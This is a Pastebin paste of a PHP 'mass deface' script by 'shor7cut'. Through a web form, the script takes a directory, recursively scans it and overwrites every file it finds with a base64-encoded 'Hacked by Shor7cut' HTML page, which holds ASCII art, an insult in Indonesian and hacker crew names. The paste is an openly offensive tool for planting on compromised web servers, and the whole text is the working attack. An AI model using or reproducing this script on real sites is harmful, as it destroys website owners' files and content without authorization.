Advertisement
shor7cut

Mass Deface by shor7cut

Nov 11th, 2015
585
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. error_reporting(0);
  3. $returnValue = explode('public_html',getcwd());
  4. $base_dirs = $returnValue[0];
  5. function deface($dir){
  6.   $script = base64_decode("PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPkhhY2tlZCBieSBTaG9yN2N1dDwvdGl0bGU+DQo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iSGFja2VkIGJ5IFNob3I3Y3V0Ij4NCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJIYWNrZWQgYnkgU2hvcjdjdXQsU2hvcjdjdXQiPg0KPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJTaG9yN2N1dCI+DQo8bGluayByZWw9J3Nob3J0Y3V0IGljb24nIHR5cGU9J2ltYWdlL3gtaWNvbicgaHJlZj0naHR0cHM6Ly9waXhhYmF5LmNvbS9zdGF0aWMvdXBsb2Fkcy9waG90by8yMDEzLzA3LzEyLzE3LzU1L2Zyb2ctMTUyNjMwXzY0MC5wbmcnLz4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+KntwYWRkaW5nOjBweDsjZm9udC1mYW1pbHk6ICJMdWNpZGEgU2FucyIsVmVyZGFuYSxTYW5zLVNlcmlmO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt9YXt0ZXh0LWRlY29yYXRpb246bm9uZTtjb2xvcjojMDBjYzY2O31hOmhvdmVye2NsZWFyOmJvdGg7IyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTtjb2xvcjojMDBjYzY2O31ib2R5e2JhY2tncm91bmQtY29sb3I6IzAwMDtjb2xvcjojYTljZDlmO2ZvbnQtZmFtaWx5OiJ2ZXJkYW5hIjtmb250LXNpemU6MWVtO30jYm94e2JvcmRlcjoxcHggZG90dGVkICMwMDA7d2lkdGg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iLCJ0d2VldCIsYl0pfX0pfSl9KSh3aW5kb3cpOw0KLyogXV0+ICovDQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPHByZT4NCjxmb250IGNvbG9yPSJncmVlbiI+DQogICAgICAgICAgICAgICAgIF8NCiAgICAgICAgICAgICAsLi0iICItLiwgICAgDQogICAgICAgICAgICAvICAgPT09ICAgXCAgICAgIA0KICAgICAgICAgICAvICA9PT09PT09ICBcDQogICAgICAgIF9ffCAgKDxmb250IGNvbG9yPSJ3aGl0ZSI+bzwvZm9udD4pICAgKDxmb250IGNvbG9yPSJ3aGl0ZSI+bzwvZm9udD4pICB8X18gICAgICANCiAgICAgICAvIF98ICAgIC4tLS0uICAgIHxfIFwgICAgICAgICAgICAgICAgICANCiAgICAgIHwgLy4tLS0tLyBPIE8gXC0tLS0uXCB8ICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiPkhBQ0tFRCBCWSA8L2ZvbnQ+DQogICAgICAgXC8gICAgIHwgICAgIHwgICAgIFwvICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0icmVkIj4gICAgX19fX19fX19fLl9fICAgICAgICAgICAgICAgIF9fX19fX19fXyAgICAgICAgICAgICAgIF9fICAgIDwvZm9udD4NCiAgICAgICB8ICAgICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJyZWQiPiAgIC8gICBfX19fXy98ICB8X18gICBfX19fX19fX19fXF9fX19fXyAgXCBfX19fICBfXyBfX18vICB8XyAgPC9mb250Pg0KICAgICAgIHwgQ0FOR0tFTSBNVSBDT0shISEgfCAgICAgICAgICAgICAgPGZvbnQgY29sb3I9InJlZCI+ICAgLyAgICAgIFwgIHwgIHxfX1wgL19fX19fX19fX19cX19fX19fICBcIF9fX18gIF9fIF9fXy8gIHxffCA8L2ZvbnQ+ICAgICAgICAgICANCiAgICAgICB8ICAgICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJyZWQiPiAgIFxfX19fXyAgXCB8ICB8ICBcIC8gIF8gXF8gIF9fIFwgIC8gICAgLy8gX19fXHwgIHwgIFwgICBfX1wgPC9mb250Pg0KICAgICAgIF9cICAgLS4sX19fX18sLi0gICAvXyAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IndoaXRlIj4gICAvICAgICAgICBcfCAgIFkgICggIDxfPiApICB8IFwvIC8gICAgL1wgIFxfX198ICB8ICAvfCAgfCA8L2ZvbnQ+IA0KICAgLC4tIiAgIi0uLF9fX19fX19fXywuLSIgICItLiwgICAgICAgICAgPGZvbnQgY29sb3I9IndoaXRlIj4gIC9fX19fX19fICAvfF9fX3wgIC9cX19fXy98X198ICAgL19fX18vICBcX19fICA+X19fXy8gfF9ffCA8L2ZvbnQ+DQogIC8gICAgICAgICAgfCAgICAgICB8ICAgICAgICAgIFwgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiPiAgICAgICAgICBcLyAgICAgIFwvICAgICAgICAgICAgICAgICAgICAgICAgICBcLyAgICAgICAgICAgIDwvZm9udD4NCiB8ICAgICAgICAgICBsLiAgICAgLmwgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJyZWQiPlRoYTwvZm9udD48Zm9udCBjb2xvcj0id2hpdGUiPm5rJ3MgPC9mb250Pg0KIHwgICAgICAgICAgICB8ICAgICB8ICAgICAgICAgICAgfCAgICAgICAgIA0KIGwuICAgICAgICAgICB8ICAgICB8ICAgICAgICAgICAubCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgX19fX19fDQogIHwgICAgICAgICAgIGwuICAgLmwgICAgICAgICAgIHwgXCwgICAgICAgICAgICAgICAgICAgICAgICAgIHwgICAgICB8ICA/IHNob3I3Y3V0QGxvY2FsaG9zdA0KICBsLiAgICAgICAgICAgfCAgIHwgICAgICAgICAgIC5sICAgXCwgICAgICAgICAgICAgICAgICAgICAgICB8X19fICAgfCAgPyBodHRwOi8vbG9jYWxob3N0IGEuay5hIDEyNy4wLjAuMQ0KICAgfCAgICAgICAgICAgfCAgIHwgICAgICAgICAgIHwgICAgICBcLCAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgfCAgPyBJJ2FtIG5vdCBoYWNrZXINCiAgIGwuICAgICAgICAgIHwgICB8ICAgICAgICAgIC5sICAgICAgICB8ICAgICAgICAgICAgICAgICAgICAgICBfX3wgIHwgID8gPGZvbnQgY29sb3I9InJlZCI+TUVSQUg8L2ZvbnQ+IDxGT05UIGNvbG9yPSJ3aGl0ZSI+UFVUSUg8L0ZPTlQ+DQo8Zm9udCBjb2xvcj0id2hpdGUiPiAgICB8ICAgICAgICAgIHwgICB8ICAgICAgICAgIHwgICAgICAgICB8ICAgICAgICAgICAgICAgICAgICAgIHxfX19fX3wNCjxmb250IGNvbG9yPSJ3aGl0ZSI+ICAgIHwgICAgICAgICAgfC0tLXwgICAgICAgICAgfCAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgIF9fIA0KPGZvbnQgY29sb3I9IndoaXRlIj4gICAgfCAgICAgICAgICB8ICAgfCAgICAgICAgICB8ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8X198ICAgICANCjxmb250IGNvbG9yPSJ3aGl0ZSI+ICAgIC8iLS4sX18sLi0iXCAgIC8iLS4sX18sLi0iXCItLixfLC4tIlwgICAgICAgICAgICAgICAgICAgICAgICANCjxmb250IGNvbG9yPSJ3aGl0ZSI+ICAgfCAgICAgICAgICAgIFwgLyAgICAgICAgICAgIHwgICAgICAgICB8DQo8Zm9udCBjb2xvcj0id2hpdGUiPiAgIHwgICAgICAgICAgICAgfCAgICAgICAgICAgICB8ICAgICAgICAgfCAgICAgICAgIEszQ0VCME5HIC0gSzNDMFQgLSBNci4gRXJyb3IgNDA0IC0gVGludG9ueiAtIFR1NWIwbDNkIC0gTmFiaWxhaG9saWM0MDQgLSBNci4gWGVub3Bob2JpYw0KPGZvbnQgY29sb3I9IndoaXRlIj4gICAgXF9ffF9ffF9ffF9fLyBcX198X198X198X18vIFxffF9ffF9fLyAgICAgICAgICBKaW5qYSAtIEppbmdrbG9uZyAtIE1iYWggUm9uaSAtIFRvQXhSMG90IC0gUGVuamFnYSBNYXlhdCAtIEhhY2tlciBTYWtpdCBIYXRpIC0gTVIuSzwvZm9udD4NCjwvZGl2Pg0KPC9kaXY+DQo8L2JvZHk+DQo8L2h0bWw+IA==");
  7.   if (file_put_contents ($dir, $script)){
  8.   echo "shor7cut-shell:~ $dir&nbsp&nbsp&nbsp&nbsp<span style='color: green'>OK</span><br>";
  9.   }
  10. }
  11. if($_POST['modar']){
  12. $pt = $_POST['dir'];
  13. $scandir = scandir($pt,1);
  14.   foreach($scandir as $dir){
  15.     if(!is_dir($dir) || !$dir == "." || !$dir == ".."){
  16.   deface($pt."/".$dir);
  17.     }
  18.     foreach (scandir($pt.$dir,1) as $key => $value) {
  19.     if(!is_dir($value) || !$value == "." || !$value == ".."){
  20.   deface($pt."/".$value);
  21.     }
  22.     }
  23.  }
  24.  }
  25.  ?>
  26.  <form action="" method="post">
  27.    <input type="text" name="dir" value="<?php echo $base_dirs;?>">
  28.    <input type="submit" name="modar" value="modarkan">
  29.  </form>
Advertisement
RAW Paste Data Copied
Advertisement